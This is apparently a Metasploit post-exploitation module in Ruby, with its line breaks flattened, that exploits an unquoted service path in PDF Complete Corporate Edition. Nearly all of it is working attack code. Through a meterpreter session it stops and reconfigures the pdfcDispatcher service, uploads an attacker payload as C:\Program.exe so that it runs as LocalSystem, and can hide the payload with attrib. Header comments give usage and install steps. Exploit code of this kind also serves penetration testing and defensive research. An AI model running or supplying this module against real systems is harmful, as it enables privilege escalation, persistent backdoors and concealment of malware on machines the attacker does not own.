## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. ##     ## # Exploit Title  : PDF_complete_corporate_edition.rb - 'Unquoted Service Path Privilege Escalation' # PDF Version    : 4.1.12 # vuln Discover  : Joey Lane # Module Author  : pedr0 Ubuntu [r00t-3xp10it] # Tested on      : Windows 7 Professional # Software Link  : http://www.pdfcomplete.com/cms/Downloads.aspx # "This was tested on version 4.1.12, but other versions may be affected as well." # # # Description: # PDF Complete Corporate Edition installs a service with an unquoted service path. # This enables a local privilege escalation vulnerability. To exploit this vulnerability, # a local attacker can insert an executable file in the path of the service. # Rebooting the system or restarting the service will run the malicious executable # with elevated privileges. # # --------------------------------------------------------------------------- # C:\>sc qc pdfcDispatcher                                                         # [SC] QueryServiceConfig SUCCESS                                                  #                                                                                  # SERVICE_NAME: pdfcDispatcher                                                     #         TYPE               : 10  WIN32_OWN_PROCESS                               #         START_TYPE         : 2   AUTO_START                                      #         ERROR_CONTROL      : 1   NORMAL                                          #         BINARY_PATH_NAME   : C:\Program Files (x86)\PDF Complete\pdfsvc.exe                                          #         LOAD_ORDER_GROUP   :                                                     #         TAG                : 0                                                   #         DISPLAY_NAME       : PDF Document Manager                                #         DEPENDENCIES       :                                                     #         SERVICE_START_NAME : LocalSystem # --------------------------------------------------------------------------- # # EXAMPLE: # Using the BINARY_PATH_NAME listed above as an example, an executable named # "Program.exe" could be placed in "C:\", and it would be executed as the # Local System user next time the service was restarted. # # # MODULE OPTIONS: # HINT: to unset all values use: msf post(PDF_complete_corporate_edition.rb) > unset all # Input The session number to run this module on  => set SESSION 3 # Input full path of Program.exe to be uploaded   => set UPLOAD_PATH /root/shell/output/Program.exe # Check pdfcDispatcher service auto-start status? => set SERVICE_STATUS true # use attrib to hidde your program.exe in target? => set HIDDEN_ATTRIB true # # # PORT MODULE TO METASPLOIT DATABASE: # Kali linux   COPY TO: /usr/share/metasploit-framework/modules/post/windows/escalate/PDF_complete_corporate_edition.rb # Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/PDF_complete_corporate_edition.rb # Manually Path Search: root@kali:~# locate modules/post/windows/escalate # # # LOAD/USE AUXILIARY: # meterpreter > background # msf exploit(handler) > reload_all # msf exploit(handler) > use post/windows/escalate/PDF_complete_corporate_edition # msf post(PDF_complete_corporate_edition) > info # msf post(PDF_complete_corporate_edition) > show options # msf post(PDF_complete_corporate_edition) > show advanced options # msf post(PDF_complete_corporate_edition) > set [option(s)] # msf post(PDF_complete_corporate_edition) > exploit ##       # ---------------------------- # Module Dependencies/requires # ---------------------------- require 'rex'require 'msf/core'require 'msf/core/post/common'require 'msf/core/post/windows/priv'      # ---------------------------------- # Metasploit Class name and includes # ---------------------------------- class MetasploitModule < Msf::Post       Rank = ExcellentRanking             include Msf::Post::Common          include Msf::Post::Windows::Priv       # ----------------------------------------- # Building Metasploit/Armitage info GUI/CLI # -----------------------------------------         def initialize(info={})                 super(update_info(info,                         'Name'          => 'PDF complete - Unquoted Service Path Privilege Escalation',                         'Description'   => %q{                                         This post-exploitation module requires a meterpreter session to be able to upload/inject our Program.exe into pdfcDispatcher service. PDF Complete Corporate Edition installs a service with an unquoted service path. This enables a local privilege escalation vulnerability. To exploit this vulnerability, a local attacker can insert an executable file in the path of the service. Rebooting the system or restarting the service will run the malicious executable with elevated privileges. "Warning: payload to be uploaded should be named as: Program.exe"                        },                         'License'       => UNKNOWN_LICENSE,                         'Author'        =>                                 [                                         'Vuln discover: Joey Lane',    # vulnerability discover                                         'Module Author: pedr0 Ubuntu [r00t-3xp10it]', # post-module author                                         'Special thanks: milton_barra|Chaitanya Haritash', # testing/debug module                                 ],                            'Version'        => '$Revision: 1.1',                         'DisclosureDate' => 'out 27 2016',                         'Platform'       => 'windows',                         'Arch'           => 'x86_x64',                         'Privileged'     => 'false',                         'Targets'        =>                                 [                                          # Tested againts windows 7 (32 bits) | XP SP1 (32 bits)                                          [ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ]                                 ],                         'DefaultTarget'  => '3', # default its to run againts windows 7 (32 bits)                         'References'     =>                                 [                                          [ 'URL', 'goo.gl/Etf934' ],                                          [ 'URL', 'goo.gl/U54297' ],                                 ],                         'DefaultOptions' =>                                 {                                          'SESSION' => '1', # Default its to run againts session 1                                 },                         'SessionTypes'   => [ 'meterpreter' ]                    ))                    register_options(                         [                                 OptString.new('SESSION', [ true, 'The session number to run this module on']),                                 OptString.new('UPLOAD_PATH', [ false, 'The full path of Program.exe to be uploaded']),                                 OptBool.new('SERVICE_STATUS', [ false, 'Check remote pdfcDispatcher service settings?' , false]),                                 OptBool.new('HIDDEN_ATTRIB', [ false, 'Use Attrib command to Hide Program.exe?' , false])                         ], self.class)            end        # ---------------------------------------------- # Check for proper target Platform (win32|win64) # ---------------------------------------------- def unsupported    session = client      sys = session.sys.config.sysinfo        print_warning("[ABORT]: Operative System => #{sys['OS']}")        print_error("Only windows systems are supported by this module...")        print_error("Please execute [info] for further information...")        print_line("")    raise Rex::Script::Completed end        # ---------------------------------------------------------- # UPLOAD OUR EXECUTABLE INTO pdfcDispatcher BINARY_PATH_NAME # ---------------------------------------------------------- def ls_stage1     r=''  session = client   upath = datastore['UPLOAD_PATH']   bin_path = "C:\\Program Files (x86)\\PDF Complete\\pdfsvc.exe"  # check for proper config settings enter   # to prevent 'unset all' from deleting default options...   if datastore['UPLOAD_PATH'] == 'nil'    print_error("Options not configurated correctly...")     print_warning("Please set UPLOAD_PATH option...")     return nil  else    # elevate privs befor running module     print_status("Persisting your payload in target system.")     client.sys.config.getprivs.each do |priv|     end  end        # check if vulnerable service (executable) exists     if client.fs.file.exist?("#{bin_path}")       print_warning("pdfcDispatcher service:found...")       sleep(1.0)       print_good("Stoping pdfcDispatcher service...")       # stop service to enable proper configuration       r = session.sys.process.execute("cmd.exe /c sc stop pdfcDispatcher", nil, {'Hidden' => true, 'Channelized' => true})       sleep(2.0)         print_good("Setting service to auto-start with windows...")         # set service to auto-start with windows         r = session.sys.process.execute("cmd.exe /c sc config pdfcDispatcher start= auto", nil, {'Hidden' => true, 'Channelized' => true})         sleep(2.0)             # upload our executable into temp foldder           print_good("Uploading payload to target system...")           client.fs.file.upload("%temp%\\Program.exe","#{upath}")           sleep(2.0)             # move payload to C:\Program.exe           print_good("move payload to C: directory...")           r = session.sys.process.execute("cmd.exe /c move /y %temp%\\Program.exe C:\\Program.exe", nil, {'Hidden' => true, 'Channelized' => true})           sleep(2.0)             # start service ...           print_good("Restarting pdfcDispatcher service...")           r = session.sys.process.execute("cmd.exe /c sc start pdfcDispatcher", nil, {'Hidden' => true, 'Channelized' => true})           sleep(2.0)           # task completed successefully...         print_warning("pdfcDispatcher service [binary_path_name] backdoored successefuly...")         print_status("Setup one handler and Wait everytime that system restarts OR")         print_status("Setup one handler and restart pdfcDispatcher service: sc start pdfcDispatcher")         print_line("")       else      print_error("#{bin_path} => NOT FOUND...")       print_warning("post-module has aborted all tasks in hands :( ...")       print_line("")     end      # close channel when done     r.channel.close     r.close     # error exception funtion   rescue ::Exception => e   print_error("Error: #{e.class} #{e}") end        # ------------------------------------------------- # USE ATTRIB COMMAND TO HIDDE PROGRAM.EXE (PAYLOAD) # ------------------------------------------------- def ls_stage2     r=''  session = client   hidden = "C:\\Program.exe"  # check for proper config settings enter   # to prevent 'unset all' from deleting default options...   if datastore['HIDDEN_ATTRIB'] == 'nil'    print_error("Options not configurated correctly...")     print_warning("Please set HIDDEN_ATTRIB option...")     return nil  else    # elevate privs befor running module     print_status("Using Attrib command to hide Program.exe...")     client.sys.config.getprivs.each do |priv|     end  end        # check if Program.exe exist on target     if client.fs.file.exist?("#{hidden}")       print_status("Backdoor Program.exe file:found...")       # stop service to enable proper configuration       r = session.sys.process.execute("cmd.exe /c attrib +h +s C:\\Program.exe", nil, {'Hidden' => true, 'Channelized' => true})       print_good(" Execute => attrib +h +s C:\\Program.exe")       sleep(2.0)           # diplay output to user         print_status("Our Program.exe its hidden from normal people...")         print_status("But dont feed the black hacker within :( ...")         print_warning("To revert attributes: attrib -h -s C:\\Program.exe")         print_line("")         # close channel when done       r.channel.close       r.close       else      print_error("#{hidden}  => NOT FOUND...")       print_warning("post-module has aborted all tasks in hands :( ...")       print_line("")     end      # error exception funtion   rescue ::Exception => e   print_error("Error: #{e.class} #{e}") end        # ------------------------------------------- # CHECK/DISPLAY pdfcDispatcher SERVICE STATUS # ------------------------------------------- def ls_stage3     r=''  serv="pdfcDispatcher"  session = client   sysnfo = session.sys.config.sysinfo   # check for proper config settings enter   # to prevent 'unset all' from deleting default options...   if datastore['SERVICE_STATUS'] == 'nil'    print_error("Options not configurated correctly...")     print_warning("Please set SERVICE_STATUS option...")     return nil  else    print_status("Checking pdfcDispatcher service settings...")     client.sys.config.getprivs.each do |priv|     end  end        print_warning("Reading service hive registry keys...")     # search in target regedit for WSearch auto-start service status     # Value:Start - dword: 2 - auto | 3 - manual | 4 - disabled     if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '2'      startup = "auto_start"    end    if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '3'      startup = "manual_start"    end    if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '4'      startup = "disabled_start"    else        startup = "unknow"        print_error("post-module cant define service auto_start status...")         print_warning("enter into a shell session and execute: sc qc pdfcDispatcher status")      end          sleep(1.0)       # display pdfcDispatcher service current settings.       print_line("")       print_line("    :host    => #{sysnfo['Computer']}")       print_line("    :service => #{serv}")       print_line("    :status  => running")       print_line("    :startup => #{startup}")       print_line("")     # error exception funtion   rescue ::Exception => e   print_error("Error: #{e.class} #{e}") end        # ------------------------------------------------ # MAIN DISPLAY WINDOWS (ALL MODULES - def run) # Running sellected modules against session target # ------------------------------------------------ def run   session = client     # Check for proper target Platform     unsupported if client.platform !~ /win32|win64/i         # Variable declarations (msf API calls)       sysnfo = session.sys.config.sysinfo       runtor = client.sys.config.getuid       runsession = client.session_host       directory = client.fs.dir.pwd         # Print banner and scan results on screen pdfcDispatcher     print_line("    +----------------------------------------------+")     print_line("    | PRIVILEGE ESCALATION IN PDFDISPACHER SERVICE |")     print_line("    |     Author: Pedro Ubuntu [ r00t-3xp10it ]    |")     print_line("    +----------------------------------------------+")     print_line("")     print_line("    Running on session  : #{datastore['SESSION']}")     print_line("    Computer            : #{sysnfo['Computer']}")     print_line("    Operative System    : #{sysnfo['OS']}")     print_line("    Target IP addr      : #{runsession}")     print_line("    Payload directory   : #{directory}")     print_line("    Client UID          : #{runtor}")     print_line("")     print_line("")        # ------------------------------------ # Selected settings to run # ------------------------------------       if datastore['UPLOAD_PATH']          ls_stage1       end        if datastore['HIDDEN_ATTRIB']          ls_stage2       end        if datastore['SERVICE_STATUS']          ls_stage3       end   endend